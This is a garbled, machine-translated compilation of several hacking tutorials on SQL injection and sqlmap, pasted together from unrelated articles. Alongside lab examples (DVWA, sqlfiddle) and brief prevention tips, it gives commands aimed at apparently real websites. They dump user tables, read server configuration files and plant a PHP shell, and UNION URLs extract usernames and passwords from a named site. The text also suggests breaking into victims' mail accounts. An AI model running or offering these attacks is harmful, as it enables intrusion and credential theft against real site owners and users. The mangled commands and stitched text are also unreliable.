Instructions for using sqlmap. Part 1: Basics of work (GET). Filling the shell Determining the output columns

SQL injection is an attack that exploits dynamic SQL statements by commenting out certain parts of statements or adding a condition that will always be true. It targets holes in web application architecture and uses SQL statements to execute malicious SQL code:

In this article, we will look at the techniques used in SQL injections and how to protect web applications from such attacks.

How SQL injection works

Types of attacks that can be performed with using SQL-injections differ in the type of database mechanisms affected. The attack targets dynamic SQL statements. A dynamic statement is a statement that is created at run time based on parameters from a web form or URI query string.

Consider a simple web application with a login form. The HTML form code is below:

  • The form accepts an email address and then the password is sent to a PHP file called index.php;
  • The session is stored in cookie. This feature is enabled by checking the remember_me flag. The post method is used to send data. This means that the values ​​are not displayed in the URL.

Let's assume that the request to check the user ID on the server side looks like this:

  • The request uses the $_POST array values ​​directly without sanitizing it;
  • The password is encrypted using the MD5 algorithm.

We will look at an attack using SQL injection sqlfiddle. Open the URL http://sqlfiddle.com/ in your browser. The following window will appear on the screen.

Note: You will need to write SQL statements:

Step 1: Enter this code in the left panel:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ​​(" [email protected]",md5("abc"));

Step 2: Click the button Build Schema».
Step 3: Enter the below code in the right pane:

select * from users;

Step 4: Click " Run SQL" You will see the following result:

Let's assume the user provides an email address [email protected] and 1234 as the password. The query that needs to be executed on the database might look like this:

The example SQL injection code above can be bypassed by commenting out part of the password and adding a condition that will always be true. Let's assume that an attacker inserts the following data into the email address field:

[email protected]" OR 1 = 1 LIMIT 1 -- " ]

and xxx in the password field.

The generated dynamic statement will look like this:

  • [email protected] ends with a single quote, which terminates the string;
  • OR 1 = 1 LIMIT 1 is a condition that will always be true and limits the results returned to just one record.

0; ‘ AND ... is an SQL comment that excludes the password part.

Copy the above query and paste it into the FiddleRun SQL text box as shown below:

Hacker activity: SQL injections into web applications

We have a simple web application available at http://www.techpanda.org/ that is specifically made vulnerable to attacks using SQL injection for beginners for demonstration purposes. The HTML form code given above is taken from the authorization page of this application.

It provides basic security, such as email field sanitization. This means that the above code cannot be used to bypass this mechanism.

To bypass this, you can use a password field. The diagram below shows the steps you need to follow:

Let's assume that the attacker provides the following data:

Step 1: Enter [email protected] as an email address;
Step 2: Enter xxx’) OR 1 = 1 - ] ;

Clicks the “Submit” button.

It will be sent to the administration panel. The generated query will look like this:

The diagram below shows how the request was generated:

Here:

  • The request assumes that md5 encryption is used;
  • A closing single quote and parenthesis are used;
  • A condition is added to the operator that will always be true.

Typically, attackers try to use several different methods in an SQL injection attack to achieve their goals.

Other types of SQL injection attacks

SQL injections can cause significant damage more damage than logging into the system bypassing the authorization mechanism. Some of these attacks may:

  • Perform data deletion;
  • Perform data update;
  • Add data;
  • Execute commands on the server that will download and install malicious programs;
  • Export to remote server the attacker of valuable data, such as credit card details, Email and passwords.

The above list is not complete. It simply gives an idea of ​​the dangers SQL injections pose.

Tools for automating SQL injections

In the above example, we used manual attack methods. Before performing an SQL injection, you need to understand that there are automated tools that allow you to carry out attacks more efficiently and quickly:

  • SQLSmack ;
  • SQLPing 2 ;
  • SQLMap.

How to prevent SQL injections

Here are a few simple rules, which will allow you to protect against attacks using SQL injections:

User input should not be trusted. It always needs to be sanitized before the data is used in dynamic SQL operations.

Stored procedures- They can encapsulate SQL queries and process all input data as parameters.

Prepared queries- Queries are created first, and then all provided user data is processed as parameters. This does not affect the SQL statement syntax.

Regular Expressions- can be used to detect potentially malicious code and remove it before executing SQL statements.

Access rights to connect to the database- to protect against SQL injections, accounts that are used to connect to the database should be granted only the necessary access rights. This will help limit the actions that SQL statements can perform on the server.

Error messages- must not disclose confidential information. Simple custom error messages such as " Sorry, it arose a technical error. The support team has already been notified about it. Please try again later" can be used instead of displaying the SQL queries that caused the error.

Spoiler: .ZEN

We have a SQL Injection on the site that looks like this:

The first thing we want to do is check whether we have privileges to write files on the attacked resource; to do this, load the terminal and issue the following command:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

We press Enter and the analysis of our SQL Injection begins, the report looks like this:

As you can see in the report, the version of Apache, the version of MySQL, and the version of the OS installed on the server are written, all this will be useful to us in the future, but most importantly, you can see that we have rights to write files, this is displayed in the line Current User is DBA: True

The next step for us is to obtain the paths to record our shell. We can get the path to our site on the server by downloading the httpd.conf file. We get information about the location of the httpd.conf file from using Google, you can search by the version of the OS that is installed or by the list of the most likely paths. In general, I will not delve into surfing search engines, just when you have found out the most likely location of the path to the file, then it’s time to download this very file to your disk, to do this, enter the following command and request to read the file on the server:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Let us immediately note that it is not always possible to find this config file the first time, so you can use the most likely paths where this file may be located:

LIST OF POSSIBLE PATHS TO THE CONFIG FILE:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

We receive a report from sqlmap in the following form:

As you can see, sqlmap told us that the file is the same size as the file on the server, therefore we have the right to read this file. If there were not enough rights to read this file, then an error would appear that the file saved on our machine has a different size than the file on the server, or there is no file on the server at the path we specified and never has been. Sqlmap saved our file in the report files, and to read it we need to launch the window manager. To launch the window manager, we open another terminal window and enter the command:

Next, in the manager that opens, we follow the path where sqlmap added the file, i.e.:
/root/.sqlmap/output/sacoor.com
Next, hover the cursor over the file, press the F3 button on the keyboard and read the Apache config file:

From our config file we see that our site is located on the server at the following path:
/home/sbshop/site/

Now that we have a little information, we can try to fill the shell, to do this we enter the following command:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

After entering the command, sqlmap will ask what type of filler we want to use, because... in our case, the site is in PHP, then we will upload PHP-loader, select item 4 and press Enter. Next, sqlmap will ask us to choose where we will upload our loader, and since... We already know the path to our site on the server, then select item 2, press Enter and indicate the path to the site:
/home/sbshop/site/

And after that, press Enter and see the following report:

In this case, sqlmap tells us that in this folder We don't have write rights. No problem, this problem is quite easy to solve. We give the command to launch uniscan and check files and folders for writability, here is the command.

What is sqlmap and what is it for?

The program allows you to check sites for SQL injection vulnerabilities, XSS vulnerabilities, and also exploit SQL injection. Various types of SQL injections and a variety of databases are supported.

What can you do with sqlmap

With sqlmap you can:

  • check if websites have vulnerabilities

If the site is vulnerable to SQL injection, then it is possible:

  • receive information from the database, including dump (the entire) database
  • modify and delete information from the database
  • upload a shell (backdoor) to a web server

One of the scenarios for using sqlmap:

  • Getting username and password from database
  • Search for site administration panels (admin panel)
  • Login to the admin panel with the received login and password

If there is a vulnerability, the attack can develop in various directions:

  • Data modification
  • Filling the backdoor
  • Injecting JavaScript code to obtain user data
  • Implementing code for hooking on BeEF

As we can see, SQL injection is a very dangerous vulnerability that gives an attacker great opportunities.

Checking websites using sqlmap

If the site receives data from the user using the GET method (when both the name of the variable and the transmitted data are visible in the address bar of the browser), then you need to select the address of the page in which this variable is present. She comes after question mark (? ), For example:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

In the first address, the variable name is id, and the passed value is 8 . In the second address the variable name is also id, and the transmitted value 22 . In the third example, the variable name is the same, but the value being passed is p_36. The same variable name is a random match for different sites, it can be anything, the transmitted data can be anything, there can be several variables with values ​​separated by a symbol & .

If we want to check whether the id variable is vulnerable to SQL injection, then we need to enter the entire address - http://www.dwib.org/faq2.php?id=8 (not http://www.dwib.org /faq2.php or http://www.dwib.org).

The command to check a variable passed by the GET method is very simple:

Sqlmap -u site_address

For these sites the commands will be:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

During the verification process, sqlmap can set various questions and they need to be answered y(i.e. Yes) or n(i.e. No). The letter y and n can be capital or small. The capital letter means the default choice, if you agree with it, then just press Enter.

Examples of situations and questions:

Heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

Heuristics determined that the target is protected by some kind of WAF/IPS/IDS. Do you want sqlmap to try to determine the name of the WAF/IPS/IDS?

My favorite request:

Heuristic (basic) test shows that GET parameter "id" might be injectable (possible DBMS: "MySQL") testing for SQL injection on GET parameter "id" it looks like the back-end DBMS is "MySQL". Do you want to skip test payloads specific for other DBMSes?

The point is that the heuristics have determined that the parameter may be vulnerable and the remote DBMS has already been identified, we are asked if we want to continue the check. And in the second screenshot, the site is also vulnerable to XSS.

If you want to automate the process so that sqlmap doesn't ask you every time, but use the default selection (there's always best options), then you can run the command with the option --batch:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Possible problems when scanning sqlmap

The following errors may appear:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch "--random-agent" turned on and/or proxy switches ("--ignore-proxy", "--proxy",...)

It means that the website does not want to “talk” to sqlmap. As an option we are offered to use --random-agent. If you can watch the site in the browser, but sqlmap writes about the impossibility of connecting, then the site is ignoring requests, focusing on the user agent. The --random-agent option changes the standard sqlmap value to random:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Another reason for this error could be that your IP is blocked by a website - then you need to use a proxy. If you are already using a proxy and this error appears, it may mean that the proxy has communication problems and you should try without it.

sqlmap scan results

The detected SQL injections are displayed as follows:

Those. are highlighted in bold green color, the name of the vulnerable parameter is written, the type of SQL vulnerability and there is the word injectable.

Getting a list of databases with sqlmap

To get a list of databases, use the option --dbs. Examples:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Retrieving information from databases

For example, two databases were found for the site wellerpools.com:

[*] information_schema [*] main_wellerpools

I want to know the list of tables in the main_wellerpools database. To do this, use the option --tables. In addition to it, we need to indicate the table we are interested in after the option -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

List of tables:

For some reason, I want to know the list of columns from the users table. To do this, use the option --columns. In addition to it, we need to indicate the database we are interested in ( -D main_wellerpools) and after the key -T the table for which we want to see a list of columns:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

To display the content, use the option --dump. It can be specified together with the database, and then a dump of the entire database will be made, or you can limit the data to one table or even one column. With the following command I want to see the contents of the entire users table:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Take a look at the passwords - upon a quick inspection, I thought they were hashes. The admins really tried to defend themselves, but it didn’t help them.

By the way, since the parameter that accepts data sent by the GET method is vulnerable, you can form a request directly in the browser line in such a way that the user’s login and password will be displayed directly on the site itself:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+from+users--

Those. We have the username, password and email of users (and most likely even administrators) of the site. If you can find the site's administrative panel, you can gain control of the site or web server. Considering the love of users for the same passwords and knowing them mailboxes- You can try to hack your mail.

In general, SQL injection is a very dangerous vulnerability.

Greetings, reader. Lately, I am interested in Web security, and to some extent my work is related to this. Because More and more often I began to notice topics on various forums asking them to show how it all works, so I decided to write an article. The article will be aimed at those who have not encountered this, but would like to learn. There are relatively many articles on this topic on the Internet, but they are a little complicated for beginners. I will try to describe everything in clear language and detailed examples.

Preface

In order to understand this article, you don’t really need knowledge of the SQL language, but at least good patience and a little brain to remember.

I believe that just reading the article will not be enough, because... we need living examples - as you know, practice, in the process of memorization, is never superfluous. Therefore, we will write vulnerable scripts and train on them.

What is SQL injection?
Speaking in simple language is an attack on the database that will allow you to perform some action that was not intended by the creator of the script. Example from life:

Father wrote in a note to his mother to give Vasya 100 rubles and put it on the table. Reworking this into a comic SQL language, we get:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya

Since the father wrote the note poorly (Clumsy handwriting) and left it on the table, Vasya’s brother Petya saw it. Petya, being a hacker, added “OR Pete” there and the result was the following request:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya OR Petya

Mom, after reading the note, decided that she gave money to Vasya yesterday and gave 100 rubles to Petya. Here's a simple one SQL example injections from life:) Without filtering the data (Mom could barely make out the handwriting), Petya made a profit.

Preparation
For practice, you will need an archive with the source scripts for this article. Download it and unpack it on the server. Also import the database and set the data in the file cfg.php

Search SQL injection

As you already understood, the injection comes from incoming data that is not filtered. The most common mistake is not filtering the transmitted ID. Well, roughly speaking, put quotes in all fields. Be it a GET/POST request or even a Cookie!

Numeric input parameter
For practice we need a script index1.php. As I said above, we insert quotes into the news ID.

Because Our request has no filtering:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

The script will understand this as

SELECT * FROM news WHERE id=1"

And it will give us an error:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

If the error does not appear, there may be the following reasons:

1.SQL injection is not here - quotes are filtered, or it’s just worth converting to (int)
2. Error output is disabled.

If you still get an error - Hurray! We found the first type of SQL injection - Numeric input parameter.

String input parameter

We will send requests to index2.php. IN this file, the request looks like:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Here we select news by username, and again, we do not filter.
Again we send a request with a quote:

It gave an error. OK! This means there is a vulnerability. For starters, that's enough for us - let's start practicing.

Let's take action

A little theory

You probably can’t wait to get something out of this other than mistakes. First, understand that the sign " -- " is considered a comment in SQL.

ATTENTION! There must be spaces before and after it. In the URL they are transmitted as %20

Everything that comes after the comment will be discarded. That is, the request:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

It will succeed. You can try this on the index2.php script by sending a request like this:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Learn the parameter UNION. In SQL language keyword UNION used to combine the results of two SQL queries into a single table. That is, in order to pull out something we need from another table.

Let's take advantage of it

If the parameter is “Numeric”, then we do not need to send a quote in the request and naturally put a comment at the end. Let's go back to the script index1.php.

Let's turn to the script sqlinj/index1.php?id=1 UNION SELECT 1 . Our database query looks like this:
SELECT * FROM news WHERE id=1 UNION SELECT 1
And he gave us an error, because... to work with merging queries, we need the same number of fields.

Because We cannot influence their number in the first request, then we need to select their number in the second so that it is equal to the first.

Selecting the number of fields

Selecting fields is very simple, just send the following requests:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Error…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Error again!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
No error! This means the number of columns is 5.

GROUP BY
It often happens that there can be 20 or 40 or even 60 fields. So that we don’t have to sort through them every time, we use GROUP BY

If the request
sqlinj/index1.php?id=1 GROUP BY 2
didn’t show any errors, which means the number of fields is more than 2. Let’s try:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, we see an error, it means the number of fields is less than 8.

If there is no error with GROUP BY 4, and with GROUP BY 6 there is an error, then the number of fields is 5

Defining Output Columns
To ensure that nothing is displayed to us from the first request, it is enough to substitute a non-existent ID, for example:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

With this action, we determined which columns are displayed on the page. now to replace these numbers with necessary information, you need to continue the request.

Data output

Let's say we know that the table still exists users in which the fields exist id, name And pass.
We need to get Information about the user with ID=1

Therefore, let's build the following query:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
The script also continues to output

To do this, we will substitute the names of the fields in place of the numbers 1 and 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
We got what we needed!

For "string input parameter" as in script index2.php you need to add a quotation mark at the beginning and a comment mark at the end. Example:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Read/Write Files

To read and write files, the database user must have FILE_PRIV rights.
Recording files
In fact, everything is very simple. To write a file, we will use the function OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Great, the file has been registered with us. Thus, We can fill the mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Reading files
Reading files is even easier than writing. It is enough to simply use the function LOAD_FILE, for the place of the field that we select:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Thus, we have read the previous written file.

Methods of protection

Protecting yourself is even easier than exploiting a vulnerability. Just filter the data. If you are passing numbers, use
$id = (int) $_GET["id"];
As user malroc suggested. Protect yourself using PDO or prepared statements.

Instead of completing

This is where I want to finish my first part about “SQL injection for beginners”. In the second we will look at more severe examples of injections. Try writing vulnerable scripts and executing queries yourself.
And remember, do not trust any user of your site.

SQL Injection is a type of attack in which an attacker modifies the SQL query logic of a web application, allowing him to read/modify/delete values ​​in the database and sometimes execute arbitrary code on the server side. This article will discuss the popular sqlmap utility for performing SQL injections.

On this moment, this type vulnerability is the most dangerous of all. For 7 years, the leading line of “OWASP TOP-10” has been headed by SQL injections.

There are 5 main reasons for this vulnerability:

  1. Insufficient or lack of validation of input parameters, especially user input. “Any input parameter is evil”
  2. Unreasonable and weakly protected access to databases. This category includes factors such as: a large number of administrators and super-users (root), weak authentication system, a large number of rights for secondary administrators, etc.
  3. Architecture. Use of outdated technologies, lack of control measures, neglect of the “threat modeling” methodology.
  4. Heredity of obviously vulnerable code, use of ready-made solutions with a low level of security.
  5. Lack of an appropriate level of abstraction of the executable code from the data.

SQLMap.

Types of SQL injections.

Let's look at the types of SQL injections exploited by the SQLMap utility:

  1. Boolean Based Blind SQL Injection
    • A method in which HTTP requests and responses are read character-by-character to detect vulnerabilities.
    • Once a vulnerable parameter is detected, SQLMap replaces or adds syntactically correct SQL statements while waiting for the server to respond by executing that code.
    • SQLMap compares the original valid request with the response from a request with malicious code embedded.
    • SQLMap uses the bisection algorithm ( bisectional algorithm) to fetch each character of the response using a maximum of seven HTTP requests.
    • Where the answer is not given in pure text, SQLMap adapts the algorithm with larger values ​​to determine the answer.
  2. Time-Based Blind SQL Injection
    • The Time Based method itself assumes that there is some comparison based on request and response times by injecting a syntactically correct SQL statement into the vulnerable parameter.
    • SQLMap uses SQL statements that put the database on hold to return for a specified amount of time.
    • Using the same bisectional algorithm to output character by character, SQLMap compares the HTTP response time to the original request.
  3. Error-Based SQL Injection
    • SQLMap uses SQL statements that can cause specific errors to be generated.
    • The utility looks for errors in the server's HTTP response.
    • This method only works if the web application is configured to disclose error messages.
  4. UNION Query
    • Input SQL statement UNION ALL SELECT .
    • SQL injection based on UNION queries works based on application behavior, i.e. when the application transmits the result of the written SELECT query through a specific loop or line of instructions that allows output to be written to the content of the page.
    • In case the output is not looped through any loop for or other string of statements, SQLMap uses one-time UNION query injection.
  5. Stacked Query
    • Using folded queries. SQLMap adds a semicolon (;) to the value of the affected parameter and adds the statement SQL that needs to be executed.
    • Using this technique, you can execute SQL statements other than SELECT. This is useful for manipulating data, gaining read and write access and finally being captured by the operating system.
  6. Out-Of-Band
    • This method uses a secondary or other communication channel to output the results of queries run in the affected application.
    • For example, the insertion is done in a web application and a secondary channel such as DNS queries, is used to forward data back to the attacker's domain.

Basic use of SQLMap.

Launch the utility (must be in the variablePATH ):

$sqlmap

Or from the utility directory:

$ python sqlmap.py

The key is used to call the documentation «- h / — help »:

$ sqlmap --help $ python sqlmap.py –help

The actions of SQLMap keys completely depend on what exactly the attacker wants to achieve. The basic list of SQLMap actions looks like this:

  • List database information such as name, version and other details.
  • Select a specific database to list information about the tables it contains.
  • Select the table and list the column information.
  • Select a column and list the rows to retrieve their values.
  • Further exploitation.

Practice.

For our practical training we will use Damn Vulnerable Web Application (DVWA or "Damn vulnerable web application").

DVWA is a free web application built on technologies such as PHP and MySQL, designed to train pentesting skills.

Now we are only interested in injections, but in general, you can test your abilities in other vulnerabilities created based on the official OWASP TOP -10 .

P.S.: This practice assumes that you have knowledge Linux basics , entry level in English and the ability to use Google (if you do not have the above skills).

Installation:

  • Download the application and follow the instructions;
  • Change the difficulty level to LOW;
  • We are only interested in the “SQL Injection” tabs;

Initial data:

  • Web server on a private network
  • Vulnerable URL: http:// your host . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • Vulnerable parameter: id

So let's get started:

  1. We confirm availabilitySQL injections:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Explanation of the command:

— url – URL with the supposed vulnerable parameter. It is important to note that the variable for this key is written in quotes, because The URL being checked has more than one passed parameter. Otherwise, you can ignore the quotes and use the short version of the key “- u without equal sign .

- cookie – Session cookie for direct access during an attack (optional key).

Conclusion:

Analysis:

  • The application is vulnerable to SQL injection
  • Injection type – UNION Query
  • Back-end database (DBMS) – MySQL5
  • OS Technical Details - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. We list the names of the databases:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Explanation of the command:

—dbs – key for listing available databases.

Conclusion:

Analysis: SQLMap listed the available databases (7 in total).

  1. We list the names of the tables (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Explanation of the command:

-D – Specify the database we are interested in.

--tables – List the available tables in the database.

Conclusion:

Analysis: As we can see, SQLMap successfully listed the names of 2 tables in the database dvwa .

  1. Further listing of table column names “users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users –columns

Explanation of the command:

-T – Indicate the table we are interested in.

—columns – List the available columns in the table.

Conclusion:

Analysis: As we can see, SQLMap successfully listed the names of 6 columns in the table users, bd dvwa .

  1. We list/pull values ​​from the table “users ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump

Explanation of the command:

C – Indicate the columns that interest us.

--dump – Dump values ​​from the listed columns.

Conclusion:

Analysis: Based on SQLMap's response, we note the following points:

  • SQLMap retrieves records from specified columns and then analyzes the data contained in those columns.
  • Once the data is recognized as possible password hashes, SQLMap attempts to crack the hash using various hashing algorithms.
  • In this case, the hash is MD5, so with the very first hash technique the tool uses, it can successfully crack the hashes and produce a well-formatted response.
  • Additionally, the tool saves the listed entries in a “.csv” file format for future use; So you don't need to upload data to text file or take a screenshot, SQLMap will take care of it.
  1. Further exploitation and takeover of the server (A.S.P. , not includedDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Explanation of the command:

—data – Specify the parameters for testing that are sent in the POST request.

—os —shell – Special key for attempting to exploit the server console via SQL injection.

Conclusion:

Analysis: Based on SQLMap's response, we note the following points:

  • After confirming and exploiting the SQL injection, SQLMap checks whether the user is a DBA (Data Base Administrator).
  • After this, the tool tried to use an extended stored procedure - "xp_cmdshell" which is usually used SQL Server 2000.
  • "xp_cmdshell" is used to perform a given task command line as a team operating system. In turn, it outputs the result as standard text.

Benefits of gaining a deeper level of system access:

  • Access to user credentials or password hashes.
  • An interactive shell that will allow you to upload or download files from the server.
  • Run axis commands (OS) to explore the internal network.
  • Ability to download malware.
  • Further exploitation using Metasploit Framework.
  • Creation and filling of back doors.

Best practices and advanced usage.

  1. SQLMap AndSOAP (Simple Object Access Protocol ) requests: The process of parsing SOAP requests is quite simple:
    • Capture your SOAP request.
    • Saving it to a text file along with possible vulnerable parameters.
    • Use the below command for SQLMap along with the -p option if you know the vulnerable parameter:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap will automatically parse the SOAP request and try to penetrate the vulnerable parameter.
  1. SQLMap AndJSON (JavaScript Object Notation ) requests: In similar scenarios for using SQLMap for SOAP queries, JSON queries can also be analyzed and exploited. For a JSON query type, SQLMap will prompt you to exploit the vulnerability by detecting the JSON query type in the "query file". Once you answer yes, the tool will analyze the request and choose its own attack vector.
  2. SQLMap and proxy server: Enterprise types of networks are typically secured and monitored using controlled proxies for all incoming or outgoing traffic. In such cases, you have the option of adding a proxy option directly to the SQLMap option to communicate with the target URL. Although SQLMap is a command line tool, it communicates via the HTTP protocol, hence if you set an HTTP proxy for the corresponding Internet connection, SQLMap will take it as its basis:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap AndWAF (Web Application Firewall ): WAF is an additional layer of protection for web applications, significantly complicating the analysis and operation using standard methods available in SQLMap. For this purpose, there is a “tamper -script” function, which greatly simplifies working with web applications located behind a WAF.
  2. SQLMap and anonymity: If you want to hide your identity and pose as anonymous to the target application, you can use TOR (The Onion Router) proxy server. In SQLMap, you can configure the TOR proxy to hide the source from which the traffic or request is generated with the following keys:
    • tor switching the utility to the TOR proxy mode.
    • tor type manual configuration of the TOR proxy protocol (HTTP /SOCKS 4/4a /5).
    • check tor checking the functionality of the TOR proxy